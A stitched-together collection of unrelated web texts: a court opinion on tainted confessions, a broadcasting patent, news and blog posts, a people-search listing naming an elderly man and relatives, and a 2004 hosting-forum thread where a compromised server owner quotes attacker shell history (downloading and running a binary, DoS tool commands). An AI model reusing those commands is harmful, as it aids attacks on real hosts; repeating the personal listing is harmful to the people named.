dissipate the taint.'" Id. at 491, 83 S. Ct. at 419 (citation omitted).
In Commonwealth ex rel. Craig v. Maroney, 348 F. 2d 22, 29 (3d Cir. 1965), cert. denied, 384 U.S. 1019, 86 S. Ct. 1966 (1966), the Third Circuit noted two specific factors of major significance in determining the relationship between an illegal arrest and subsequent confession:
"(a) the proximity of an initial illegal custodial act to the procurement of the confession; and
"(b) the intervention of other circumstances subsequent to an illegal arrest which provide a cause so unrelated to that initial illegality that the acquired evidence may not reasonably be said to have been directly derived from, and thereby tainted by, that illegal arrest."
This Court, in Commonwealth v. Bishop, 425 Pa. 175, 183, 228 A.2d 661, 666, cert. denied, 389 U.S. 875, 88 S. Ct. 168 (1967), subsequently explained the Wong Sun test this way: "[I]f the connection between the arrest and the confession is shown to be so vague or tenuous 'as to dissipate the taint' or 'sufficiently an act of free will,' the confession is admissible, despite the illegality of the arrest. By 'sufficiently an act of free will,' we mean that not only was the confession truly voluntary, but also free of any element of coerciveness due to the unlawful arrest. The burden of proof, of course, is upon the Commonwealth." (Footnote omitted.)
It should also be noted that once the primary illegality -- here the illegal arrest -- is established, the burden is on the Commonwealth to establish that the confession has been come at "by means sufficiently distinguishable to be purged of the primary taint" rather than "by exploitation of that illegality." See United States v. Wade, 388 U.S. 218, 239-40, 87 S. Ct. 1926,
[ 451 Pa. Page 3901939]
(1967); Commonwealth v. Bishop, supra at 183, 228 A.2d at 666.
Applying the above tests appellant's statement was clearly come at through exploitation of and tainted by the illegal arrest. As the dissenters in the Superior Court noted "the proximity between the illegal arrest and appellant's statement was extremely close -- within one or two hours." Betrand Appeal, supra at 71, 293 A.2d at 361. The detective in charge of the case admitted that he instructed the arresting officers to arrest appellant on the street, a place where appellant was unlikely to be in the company of a parent or other adult to advise him. Appellant was in fact arrested on a Philadelphia street and transported to detective headquarters. As previously noted appellant was immediately locked in an interrogation room in a cell block and left there alone for between one and two hours. A police detective then arrived and advised appellant of his rights by reading from the standard police interrogation card. Approximately one-half hour later, appellant admitted his involvement in the robbery.
In these circumstances where there was not a break in the chain of events, a definite causal connection between the illegal arrest and the subsequent confession obviously did exist. See Commonwealth v. Bishop, supra at 182, 228 A.2d at 665.
The Commonwealth argues, however, that advising appellant of his Miranda rights constituted "a cause so unrelated to that initial illegality that the acquired evidence may not reasonably be said to have been directly derived from, and thereby tainted by, that illegal arrest." In essence the Commonwealth contends that although the arrest may have been illegal, advising appellant of his Miranda rights was an "intervening independent act" which purged appellant's subsequent alleged waiver of those rights and his confession from the taint of the illegal arrest. However, the mere perfunctory
[ 451 Pa. Page 391]
recital of Miranda warnings to appellant is insufficient to break the chain of events leading directly from the illegal arrest to the confession. Commonwealth v. Brown, 451 Pa. 395, 301 A.2d 876 (1973); see United States v. Kilgen, 431 F. 2d 627, 632 (5th Cir. 1970), modified on other grounds, 445 F. 2d 287 (1971). Numerous courts have held that an illegal arrest, ipso facto, is sufficient to exclude any subsequently obtained evidence as tainted fruit. United States v. Kilgen, supra; Collins v. Beto, 348 F. 2d 823, 829 (5th Cir. 1965); Gatlin v. United States, 326 F. 2d 666, 672 (D.C. Cir. 1963); United States v. Ricci, 313 F. Supp. 31, 34 (E.D. Pa. 1970); People v. Weaver, 35 Mich. App. 504, 192 N.W. 2d 572 (1971). Thus it is difficult to understand how the recital of Miranda warnings can dissipate that taint.
This Court specifically stated in Commonwealth v. Bishop, supra at 183, 228 A.2d at 666, that in order for an independent act of free will to dissipate the taint not only must it be truly voluntary " but also free of any element of coerciveness due to the unlawful arrest." Here that "element of coerciveness" produced by the illegal arrest and an immediate two-hour incommunicado detention was not dissipated by the bare reading of Miranda warnings from a card.
Such a conclusion, as that urged by the Commonwealth, would lead to the anomalous and clearly impermissible result that the police could illegally arrest suspects at will knowing that by merely reciting Miranda warnings to those suspects they could purge any subsequent confessions of the taint of the initial illegality. As the Fifth Circuit stated: "Such a . . . [result] would practically eviscerate the prophylactic effect of the exclusionary rule. Moreover, if a mere showing that a confession during a period of unlawful detention was 'voluntary' were sufficient to establish its admissibility, Wong Sun would be an empty promise, for the
[ 451 Pa. Page 392]
inadmissibility of 'involuntary' confessions has long been fully recognized." Collins v. Beto, supra at 829. Surely the Miranda warning, intended to deter exploitive police practices, cannot now be perverted to thwart the equally important deterrent purpose behind the exclusionary rule of Wong Sun.
The Commonwealth having failed to meet its burden of proving that appellant's confession was purged of the taint of the initial illegal arrest, appellant's confession was inadmissible.
The order of the Superior Court is reversed, and the matter remanded to the court of original jurisdiction for proceedings consistent with this opinion.
Order of Superior Court reversed and case remanded to court of original jurisdiction.
Concurring Opinion by Mr. Justice Pomeroy:
In holding that appellant's waiver of Miranda rights did not break the causal connection between his illegal arrest and a subsequent confession, the Court by its decision in this case appears to have joined those "courts [which] have held that an illegal arrest, ipso facto, is sufficient to exclude any subsequently obtained evidence as tainted fruit." Although the opinion indicates that the Commonwealth may be able to prove a confession purged of the taint of the initial arrest, the prospects of succeeding in such a task would seem to be more illusory than real.*fn1 With Miranda warnings relegated
[ 451 Pa. Page 393]
to the status of a "mere perfunctory recital", however, it is not unlikely that henceforth the only acceptable manner of purging the taint will be to release the suspect following his illegal arrest.*fn2
If this is indeed the effect of the decision, it pays too little attention to society's justifiable interest in utilizing voluntary confessions. On the other hand, however, the opposite approach would be to me equally objectionable; that is, to admit any statement which is given following an illegal arrest so long as it is given freely and voluntarily, attended by all required warnings.*fn3 This would be to overlook the crucial objective
[ 451 Pa. Page 394]
of police deterrence imbedded in the exclusionary rule. A sensible and workable accommodation as between these often conflicting interests seems to me to have been achieved by the draftsmen of the American Law Institute's Model Code of Pre-Arraignment Procedure, still in process of consideration.*fn4 Section 9.02 of the proposed Model Code provides:
"Statements Made After An Illegal Arrest.
If a law enforcement officer, acting without a warrant, arrests a person without the reasonable cause required by Section 3.01, and the court determines that such arrest was made without fair basis for the belief that such cause existed, no statement made by such person after such arrest and prior to his release, unless it is made in the presence of or upon consultation with counsel, shall be admitted in evidence against such person in a criminal proceeding in which he is the defendant."*fn5 (Emphasis supplied.) As the commentary to this section makes clear, before a court even considers whether a "fair basis for the belief that [probable] cause existed" for the arrest, it must conclude that proper warnings were given and that the statement was otherwise free of coercion.
[ 451 Pa. Page 395]
Applying the test of the ALI's tentative draft of the Model Code to the facts of the instant case, while it is clear that appellant's confession was voluntary, it is equally clear that the police acted on the uncorroborated tip of an unidentified informant whose reliability was never established. In light of the countless decisions, both state and federal, interpreting the requirements of Aguilar v. Texas, 378 U.S. 108, 12 L. Ed. 2d 723 (1964) and Spinelli v. United States, 393 U.S. 410, 21 L. Ed. 2d 637 (1969) to factual situations almost identical to this one, I would hold that the police did not have a fair basis for their belief that probable cause existed to arrest appellant and that the confession must therefore be excluded.*fn6
It is on the basis of this approach that I concur in the decision of the Court.
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The death of a child is that unimaginable loss no parent ever expects to face. In Beyond Tears, nine mothers share their individual stories of how to survive in the darkest hour. They candidly share with other bereaved parents what to expect in the first year and long beyond:
There simply is no answer to the question "why?" This sharing in itself is a catharsis, and because each of these mothers lost her child at least seven years before, she is in a unique position to provide perspective on what newly bereaved parents can expect to feel. The mothers of Beyond Tears offer reassurance that the clouds of grief do lessen with time and that grieving parents will find a way to live and even laugh again.
The full list of contributors includes Madelaine Perri Kasden, Phyllis Levine, Ariella Long, Rita Volpe, and Ellen Mitchell.
©2009 Ellen Mitchell, Carol Barkin, et al. (P)2016 Tantor
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Bobby Saint
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|Bobby Saint
|Appeared in
|The Punisher
|James Carpinello
Bobby Saint was the son of corrupt businessman Howard Saint.
The Punisher
Not much is said about Bobby's past except that he was close friends with his bodyguard and that he buys weed from Mickey Duka. The latter of which caused him to learn that Mickey was dealing in illegal weaponry on the side and wanted to go with him to pay for the weapons. A move he thought would impress his father. He tells his bodyguard to stay behind on the deal against Howard's prior orders and goes with Mickey to meet the arms dealer Otto Krieg. Unbeknownst to both of them, Krieg is really Frank Castle an undercover cop running a sting operation against both sides of the deal. After Otto gets "shot" by one of the cops, one of his dealers shoots and kills Bobby, triggering the Saint's vendetta against Castle's family, which in turn ends up turning Frank into The Punisher.
- The Punisher - Enemy.
- Howard Saint - Father.
- Livia Saint - Mother.
- John Saint - Brother.
- Non-Canon (1 film)
- The Punisher (First appearance) - James Carpinello
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How to buy a humvee for a cheap price
Buying a military vehicle for leisure
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Hi ...
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Discounted fares on Meridiana until March 21st
Meridiana launches today its 'All you can fly': Sardegna' campaign. Discounted fares are available on the carrier's flights operated to and from Sardinia between April 11th and September 30th 2016 if booked before midnight on March 21st.
Cagliari Airport launches its Summer '16 flight schedule
Tour operators, travel agencies and hotel managers have gathered today at Cagliari Airport for the launch of the IATA Summer Season 2016. Starting from March 27th new flights and new carriers will connect South Sardinia with Italy and Europe, along with airlines operating on an annual basis and carriers resuming their traditional summer schedules to and from Cagliari.
New Commercial Director for Cagliari Airport
David Crognaletti has been appointed Head of the Sales&Business unit of Cagliari Airport managing company.
Airport BOD member Cherchi elected Vice Chair of IATBR
Elisabetta Cherchi, member of Cagliari Airport Board of Directors, has been elected Vice Chair of the International Association for Travel Behaviour Research (IATBR), an international organization of scholars, researchers, practitioners, consultants, and public agency professionals dedicated to the advancement of travel behaviour research.
Ms. Cherchi is currently Associate Professor at the Department of Transport, Technical University of Denmark, Deputy Head of the Ph.D. School in DTU Transport, and Lecturer at the Department of Civil Engineering, Environment and Architecture, University of Cagliari (Italy).
Family assistance course at Cagliari Airport
The 'Family Assistance course for airport operators' organized by the Italian Flight Safety Committee and hosted by Cagliari Airport has been completed today. During the two-day seminar participants have been given useful tools on how to manage a crisis situation in the aviation field. Case studies and role-playing games proved particularly successful in illustrating tasks and duties in the event of a plane crash.
Awareness campaign on Zika virus
The World Health Organization (WHO) has issued a statement on clusters of microcephaly cases and other neurological disorders in some areas affected by Zika virus.


text:
|Publication number
|Publication type
|Application number
|Publication date
|Aug 20, 2002
|Filing date
|Oct 15, 1997
|Priority date
|Oct 23, 1996
|Fee status
|Also published as
|Publication number
|Hendrik Fegesch, Jörg Tschierschky, Wilfried Wüst
|Original Assignee
|Bts Holding International B.V.
|Export Citation
|BiBTeX, EndNote, RefMan
|Patent Citations (9), Non-Patent Citations (2), Referenced by (8), Classifications (16), Legal Events (5)
|External Links: USPTO, USPTO Assignment, Espacenet
1. Field of the Invention
The invention relates to an arrangement for TV broadcasting outdoor events or the like by means of a mobile unit which is connected via cables to devices for supplying and/or receiving video, audio or control signals and accommodates corresponding apparatuses for processing these signals.
2. Description of the Related Art
Such arrangements with TV mobile units are known. These compact and mobile technical units are used for recorded or live broadcasts of television productions. Such mobile units are used for, for example, TV broadcasts of outdoor sports and program events. They are equipped with television cameras, microphones, recording/reproducing apparatuses and numerous television and sound control devices. The video, audio and control signals are transmitted through several screened cables which are often several hundred meters long, for example triax cables, so as to connect remote television cameras with the apparatuses installed in the mobile unit. The heavy cables wound on large cable reels during mobile unit rides occupy a relatively large area of the useful space in the mobile unit.
Television productions for broadcasting sports and program events require an increasing number of technical means. In addition to the actual TV broadcasting tasks, the mobile unit must service further peripheral areas with source signals for commentator positions, organization management, spectator areas, etc. This requires an extra displacement of cable paths.
Moreover, it should be noted that with an increasing use of digital video and audio techniques, the conventional broadcasting technique, in the form of copper cables, is not suitable for complying with the new requirements.
The state of the art for cabled audiovisual broadcasting techniques is described in U.S. Pat. No. 5,486,877.
It is an object of the invention to reduce the number of cables for broadcasting outdoor events, realize new services and provide a basic system for future requirements and techniques.
According to the invention, in an arrangement of the type described in the opening paragraph, this object is solved in that
at least one coupling station is provided in which separate optical waveguides outgoing from the individual devices are coupled to a light-wave broadband cable,
the light-wave broadband cable is connected to a docking station for transferring source signals,
the devices and the docking station comprise electro-optical transducer elements for converting the source signals, and
the docking station is connectable to the mobile unit.
Such a construction has the advantage that, as compared with the prior art, the cables of the individual devices and signal sources no longer need to be star-connected to the mobile unit over large distances. Instead, the separate optical waveguides outgoing from the individual devices lead to a coupling station at a spatially optimum location where they are connected to the single light-wave broadband cable outgoing from the coupling station. At least a part of the overall cable paths can then be bridged by a single broadband cable. Consequently, the number of cables is reduced considerably and the space occupied by the cables in the mobile unit can be reduced in favor of the control rooms. Dependent on the circumstances, single cameras can be connected, as usual, to the mobile unit via the triax cable connections which are considered to be robust. An essential advantage of the invention thus consists of a concentration of the signal paths via light-wave cables.
Whereas a purely optical signal distribution is performed in the coupling station, the source signals are converted by means of the electro-optical transducer elements in the docking station in which the light-wave broadband cable terminates, and in said devices. The conversion of the source signals is required for the processing operations in the mobile unit and for transfer into the light-wave network. The docking station is an independent unit and provides the possibility of installing the light-wave network independently of the mobile unit. The light-wave network can thus be prepared and installed in such a way that, upon arrival of the mobile unit, only a connection with the docking station is to be established so as to realize full operability.
According to the invention, this docking station may be connected to one or more mobile units or, for example, to an external transfer point for a telecommunication device. The local operating time of the mobile unit and services (time, wages) can thus be reduced by using such a docking station. Moreover, this leads to a greater flexibility.
A further embodiment of the invention is characterized by a second coupling station which is connected, at the input, to at least one further sub-control unit via separate optical waveguides and, at the output, to the first coupling station via a light-wave broadband cable. This provides the simple possibility of integrating one or more control units. Such control units may be, for example, either a control unit for sound and illumination, or a control unit for picture information.
A further embodiment of the invention is characterized in that an ATM (Asynchronous Transfer Mode) transfer path connected to a data bank in the broadcasting center is provided parallel to the broadcasting path. This provides an additional service possibility for, for example commentators who then have direct access via the light-wave network to the data stored in the data bank.
These and other aspects of the invention are apparent from and will be elucidated with reference to the embodiments described hereinafter.
In the drawings:
FIG. 1 shows an outdoor broadcasting network having a plurality of commentator positions, a graphic-display and time-recording unit, and a camera unit,
FIG. 2 shows an outdoor broadcasting network also having a plurality of commentator positions, with two sub-control units and additional possibilities for services to commentators, and
FIG. 3 shows an outdoor network for broadcasting, for example, a downhill ski event.
In FIG. 1, the network comprises a central coupling station 10 which is connected to eight commentator positions 12 via separate optical waveguides 11. In this embodiment, each commentator position 12 comprises a group of apparatuses 13 including headphones 14 and microphones 15, a camera 16, a picture monitor 17, a data monitor 18 and a video server station 19. The coupling station 10 is further connected via optical waveguides 20 to a graphic-display and time-recording unit 21 and a camera unit 22, comprising a unit 23 of apparatuses and a stand-alone camera 24. In this embodiment, the graphic-display and time-recording unit 21 comprises a unit 25 of apparatuses with a headphone 15, a picture monitor 26, an electronic unit 27, an info monitor 28 and a data monitor 29.
The optical waveguides 11, 20 outgoing from the separate devices, i.e., from the commentator positions 12, the graphic-display and time-recording unit 21 and the camera unit 22 are coupled in the coupling station 10 to a light-wave broadband cable 30 leading from the coupling station 10 to a docking station 31. The docking station 31 and the groups of apparatuses 13, 25, 23 of the devices 12, 21, 22 comprise electro-optical transducer elements 32 for converting source signals conveyed through the optical waveguides. The docking station 31 is connected via a first output 33 to a mobile unit 34 comprising apparatuses 34 a and may also be connected to an external transfer point 35 a via a further output 35. The conversion of the source signals in the docking station 31 is necessary for the processing operations in the mobile unit 34 and for their transfer into the waveguide network.
FIG. 2 shows an embodiment, similar to FIG. 1, with a coupling station 10 and four connected commentator positions 12, and an additional coupling station 36 which is connected to the first coupling station 10 via a light-wave broadband cable 37. In this case, the additional coupling station 36 is connected to a sound and illumination sub-control unit 39 via an optical waveguide 38 and to a picture information sub-control unit 41 via an optical waveguide 40. In addition to this simple integration of sub-control units arranged for large productions, additional services may be presented to the commentator positions 12 via the waveguide network, namely parallel to the broadcasting path via an ATM transfer path 42 (Asynchronous Transfer Mode). This transfer path is constituted by a connection between the mobile unit 34 and a broadcasting center 43. This provides, for example, possibilities of access to data banks in the broadcasting center. A PC 31 a elucidates a possible configuration of the signal paths and a PC 43 a used as a server in the broadcasting center elucidates the possibilities of access to a local server.
FIG. 3 shows how the number of cable connections between the mobile unit, the time-recording devices and the commentator positions can be reduced by means of the invention in a downhill ski event. The reference numeral 44 denotes a ski slope, with a start at the position 45 and a finish at the position 46. Cameras 47, which are directly connected in known manner to a mobile unit 49 via triax cables 48, are positioned along the ski slope. Moreover, two connection boxes 50 with microphones 51 are positioned in the uphill region of the ski slope and are also connected in known manner to the mobile unit 49 via audio cables 52.
According to the invention, a first coupling station 53 connected to commentator positions 55 via optical waveguides 54, is located at a spatially favorable site. A further coupling station 56 is connected via an optical waveguide 57 to a graphic-display and time-recording unit 58 which in turn is connected via audio cables 59 to a connection box 60 for the microphones arranged in the downhill region of the ski slope. The coupling station 53 is connected via a light-wave broadband cable 61 to the coupling station 56 which in turn is connected to a docking station 63 via a light-wave broadband cable 62. Similarly, as in the examples described above, a purely optical signal distribution takes place in the coupling stations, while the source signals are converted by means of electro-optical transducer elements in the docking station 63. In this embodiment, the docking station 63 is connected to the mobile unit 49 via cables 64, a Eurovision mobile unit 66 via cables 65 and a transfer point 68 via cables 67, which transfer point is connected to the Eurovision mobile unit 66 also via cables 69. In the embodiment shown, there are two stand-alone cameras 70 a,b which supply their signals to the waveguide network. The stand-alone camera 70 a is connected via transducer elements in the graphic-display and time-recording unit 58. As can be seen in the Figure, the use of such a waveguide network considerably reduces the number of cables between the mobile units 49, 66, the time-recording unit 58 and the commentator positions 55. New services and processing possibilities can be offered with the equipment provided for the commentator positions 55 without the necessity of installing further cable paths.
|Cited Patent
|Filing date
|Publication date
|Apr 27, 1992
|Nov 8, 1994
|Fujitsu Limited
|Information acquisition system
|Jan 15, 1993
|Dec 6, 1994
|Hitachi, Ltd.
|Multiplexing transmission apparatus for image signal and multiplexing system
|Oct 4, 1994
|Jan 23, 1996
|Sony Corporation
|Audio visual system with automatic closing of a bus circuit when an AV unit is disconnected
|Jul 6, 1994
|Apr 16, 1996
|Sony Corporation
|Remote video viewing and recording system for remotely occurring events
|May 17, 1995
|Sep 23, 1997
|Hitachi Denshi Kabushiki Kaisha
|Apparatus for judging the order of arrival of racers at a goal in a race and the time taken for the race, having a plurality of line sensor cameras
|Apr 22, 1996
|Oct 13, 1998
|Hitachi Denshi Kabushiki Kaisha
|Method and apparatus for controlling transmission of multiplexed video signals
|Sep 24, 1993
|Dec 8, 1998
|Eastman Kodak Company
|Camera system for scanning a moving surface
|Apr 25, 1995
|Dec 29, 1998
|Zwahlen; Laurent
|System and method for high frequency transmission of television shots
|Jan 10, 1996
|Jun 15, 1999
|Fox Sports Productions, Inc.
|System for enhancing the television presentation of an object at a sporting event
|Romero et al., "HDTV Coverage of the Barcelona Olympic Games", EBU Review-Technical, Nr. 254, 1992.
|Romero et al., "HDTV Coverage of the Barcelona Olympic Games", EBU Review—Technical, Nr. 254, 1992.
|Citing Patent
|Filing date
|Publication date
|Oct 22, 2002
|Sep 4, 2007
|Hewlett-Packard Development Company, L.P.
|Programmable data center
|Jul 21, 2003
|Jun 24, 2008
|Glw Incorporated
|Audio console with integral video monitor
|Jul 8, 2005
|Sep 6, 2011
|Gvbb Holdings S.A.R.L.
|Video signal transceiver
|Jul 26, 2012
|Dec 9, 2014
|Bae Systems Plc
|Radio frequency communication
|Jun 15, 2011
|May 31, 2016
|Disney Enterprises, Inc.
|Method and apparatus for remotely controlling a live TV production
|Oct 22, 2002
|Apr 22, 2004
|Jerome Rolia
|Programmable data center
|Jul 8, 2005
|Feb 2, 2006
|Rudolf Koppe
|Video signal transceiver
|Jun 15, 2011
|Dec 20, 2012
|Overton Kenneth J
|Method and apparatus for remotely controlling a live tv production
|U.S. Classification
|International Classification
|Cooperative Classification
|European Classification
|Feb 13, 1998
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The holiday season marches on in York this weekend with a bash that will light up the entire downtown. Plus, you can enjoy a day of history or a night sipping on some wine as you create an artistic ... …more
Farm-to-table, scratch kitchen with Italian Inspiration. Seasonally Fresh with a Vintage Wine Bar in the basement.


text:
Thakur Ramkrishna Paramahansa Deb. Notice Swami Vivekananda in the background
B Shantanu
The original picture of Jhansi Rani Laxmi Bai. This picture has been taken by German photographer Hoffman 160 years ago (unverified)
Swami Vivekananda
Gandhi-ji with Neta-ji, 1932
Saluting our Heroes: The Param Virs of Bharat - my compilation of remarkable stories behind the Param Vir Chakra awardees.. Available via Instamojo (pdf format) here http://imojo.in/Rg3yaI


text:
The 'Tablet' and N.O.R. have released an unofficial English-version copy of the controversial Vatican document affirming the current ban on homosexuals in the priesthood...
{read the document here}
If this English-version document is an accurate representation of the authentic Latin one, which has not yet been released, I have no problem with it. I would have preferred a little stronger language, with perhaps a more clearly defined goal in the opening text, but it will do.
Essentially the document says if you're gay, don't apply for holy orders. It also outlines the means through which the Church is expected to "verify" a seminarian's sexuality and honesty. If the document is implemented as it is written, then I think it's safe to say that it would be virtually impossible for a gay man to make it to ordination without winning an academy award for best acting. Even if he manages to do that, the document leaves the seminarian with the long term guilt of having achieved ordination through dishonest means, which is inconsistent with the office he desires to hold. In other words; if you're gay, you can't be a priest unless you lie, but if you lie, you're not worthy of being a priest. I would say this would be sufficient discouragement for most homosexual men seeking ordination, especially when it's far too easy for them to get what they want in the Episcopal Church. If they want it that bad, it would be a lot easier to go Anglican -- and I predict many of them will do just that.
As for the "transitory homosexuality" thing, it appears that the document is just covering all the bases. It's a way of saying a candidate was once gay, but isn't anymore. There are a small number of people who fit this description. For example; some young men were victimized by older homosexual men during their teen years. Sometimes these men explore the "gay life" for a while, only to discover that it's terribly wrong and they want out. The Scriptures give account of these people: "Neither the sexually immoral nor idolaters nor adulterers nor male prostitutes nor homosexual offenders nor thieves nor the greedy nor drunkards nor slanderers nor swindlers will inherit the kingdom of God. And that is what some of you were. But you were washed, you were sanctified, you were justified in the name of the Lord Jesus Christ and by the Spirit of our God." - 1st Corinthians 6:9-11
It is possible to be involved in some abhorrent sin (even homosexuality) and repent. Such previous involvement may leave the psyche scarred with occasional homosexual thoughts, but it does not mean the person scarred wants to go back to that kind of sin. The message I'm getting from the document is that men who have a history of homosexual behavior, but have since repented, will be watched very closely. They will have to submit some form of proof that they've been free of this behavior for at least three years before they can even be admitted to the diaconate. Having provided such proof will only alert seminary directors to their previous problem, which will only increase their scrutiny of the seminarian. This is hardly a "back door" or a "loophole." The message here is that if you've had any kind of a homosexual past, you must prove that you're free of it, and we (the Church) will be watching you.
It's official. The Catholic Knight is retired. I'm hanging up the helmet and passing the torch. There will be no more articles, no more commentaries, no more calls to action. THIS BLOG IS CLOSED. I've spent a very long time thinking about this, I believe the time has come, and is a bit overdue. I want to thank my readers for everything, but most especially for your encouragement and your willingness to go out there and fight the good fight. So, that being the case, I've spend the last several weeks looking for bloggers who are fairly active, and best represent something akin to the way I think and what I believe. I recommend the following blogs for my readers to bookmark and check on regularly. Pick one as your favourite, or pick them all. They are all great.....


text:
Luck is right in front of you. Play.
Creative Directors: Giovanni Martinez, Hugo Corredor
Art Director / Photographer: Mauro Silva
Copywriter: Fredy Méndez
Highest Rated
Todo son puntos de vista, pero de verdad ahí no hay nada, excepto una mala realización de quizá una buena idea.
The idea would have been better suited more subtle, but I think the AD is fresh. Not great, but respectable fa sho.
the idea is more clear here than the draw. Finding lottery balls in a draw is less unexpected than in this position on the plates, cups... I mean, here you feel you got to look further to get the idea behind it. With the draw it really didn't come up to me to start counting objects (which is more difficult in that execution also).
This is the worst campaign I've seen, I do not know how the client was able to adopt this idea
Todo son puntos de vista, pero de verdad ahí no hay nada, excepto una mala realización de quizá una buena idea.
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Use this Proxxon Micromot 50 Rotary tool for a variety of applications on steel, precious metals, wood, glass, ceramics and more! Ideal for model builders, woodcarvers, jewelers, opticians, artists, dental technicians, tool and die makers, etc.
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text:
Male, 89 years old
1.00 out of 10 (what is this?)
Public Records
George Gunn - Bethany Beach, DE Get Full Report
Search unlimited reports including arrest records, driving records, online photos...
What will you find?
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George Wm Gunn, 89 years old, lives in Bethany Beach, DE, but has also spent time in Fairfax, VA. Some of George's family members are Nancy D Gunn and Kim C Gunn.


text:
Thread: How to trace the hacker?
05-17-2004, 06:53 PM #1Junior Guru Wannabe
- Join Date
- Jan 2001
- Posts
- 58
How to trace the hacker?
I've noticed that my RH 9 box had been rooted.
chkrootkit and rkhunter report that there are traces of several rootkits installed.
First I tried to clean manually following the recipes found on this forum and elsewhere on the net, but I could not do even the first steps (I could not save /etc/rc.d/rc.sysinit after removing xntps from it - why? I don't know)
So, I decided to choose the way many seem to prefer - asking a reinstall of the OS and setting up things from backups.
Before I ask for the format, though, it would be nice to find out something about the possible gate for my guests and also what they are doing and who they are.
Is it possible to trace them somehow?
I noticed two possible clues:
1) Clue 1
In /root/bash_history I find
./c4 -h 188.8.131.52
./c4 -h 22.214.171.124
./c4 -h 184.108.40.206
./c4 -d 200.158.70 -s 200
wget www.nots.it/samples/images/f3
chmod +x f3
./f3 22.214.171.124 65535 151551
./f3 188.8.131.52 65535 151515
./f3 188.8.131.52 65535 151515
Both c4 and f3 now sit in /usr/.../ and I figure they are used for DOS-like things:
C4 (v.442) '02 by live
et cetera
FUDEDOR (v3.0) by bonny - PRIVATE!@#!
et cetera
Could www.nots.it be involved in this activity or would they be victims?
2) Clue 2
This can be found on 3 out of the ~10 domains on the box. According to apache access logs 2 or 3 computers from India visited this file.
How can I find out more? Is there any programmes that would help me?
Thank you for your thoughts.
05-17-2004, 07:04 PM #2Web Hosting Evangelist
- Join Date
- May 2003
- Posts
- 472
The shell.php is most likely the entrance point, I've seen it myself before on our demo account before we locked it down.
Sounds like they found a site your hosting that has an exploit and used it to upload the shell.php , and then after that, used the shell to download and execute the rootkits.
Its also possible that you offer a demo acct and since cpanel isnt the best at securing demo accounts, they couldve easily uploaded the shell script. If you do offer a demo account, do 'chmod 000 /home/demoacct' to make it so no files can be in there.
Unfortunately, sounds like they are in India, and you wont be able to do much about it if that is the situation.
just a suggestion, get a os reinstall.Steven Ciaburri | Industry's Best Server Management - Rack911.com
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05-17-2004, 08:34 PM #4WHT Addict
- Join Date
- Feb 2004
- Posts
- 161
He's right. Once a server is compromised (in my mind) you can never be completely secure in the fact that there's no installed backdoor in there somewhere. Reinstall.
As for tracing him, the days that you can catch a hacker outside the country are few and far between.


text:
You Won't Believe What Happened to These Students Handing Out US Constitutions
October 15, 2014 10:39am PST
Four students from Southern Oregon University, which is a public school, were distributing free copies of the US Constitution on campus last Tuesday. Harmless extracurricular activity, right? Not to school administrators.
The students, who are members of the group Students for Concealed Carry, were told that passing out Constitutions in a public area is against school policy and not allowed. School officials demanded that they move to the "free speech area."
"I would very much like you to leave, if you would, please, because the students have the right to be able to come by here without you guys, you know, invading their space and asking them to do something," Tim Robitz, director of university housing, told the students.
The students, who apparently have a much better understanding of the Constitution than their educators, stood their ground. "Thank you for coming down here and explaining to us the unconstitutional policies here on campus, but we're not going to move," one student told an administrator.
When officials got tired of having logic thrown in their faces by their own students, they threatened to call the police. This is a perfect example of the leftist agenda permeating every corner of the education system in the United States. Show these fearless students your support in the comments section!
(Read More: Caught in a Lie: Obama Said THIS 16 Times … Then He Denied It!)
H/T: The Blaze
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- BREAKING: Four Police Officers Injured After Massive Brawl With High School Thugs


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Avril Lavigne & Deryck Whibley Get Tattoos
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| March 22, 2010 - 2:44 am
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The role of chance in historiography is a major question for the analysis of cultural transformations. Its main subject are the transformations of contingentia itself, which has undergone substantial changes in its mythical forms (as Tyche or Fortuna) as well in its historical expressions in philosophy, theology, politics, sciences, literature... more...
Wissen in Literatur im 19. JahrhundertDe Gruyter 2002; US$ 149.14
The theme of this volume, 'knowledge in literature', refers not to the way in which literature communicates cultural phenomena, events, and norms regulating or reflecting everyday action and behaviour. Instead, it focuses on the 'new knowledge' about nature and the human animal produced (or rejected) in individual branches of science and... more...
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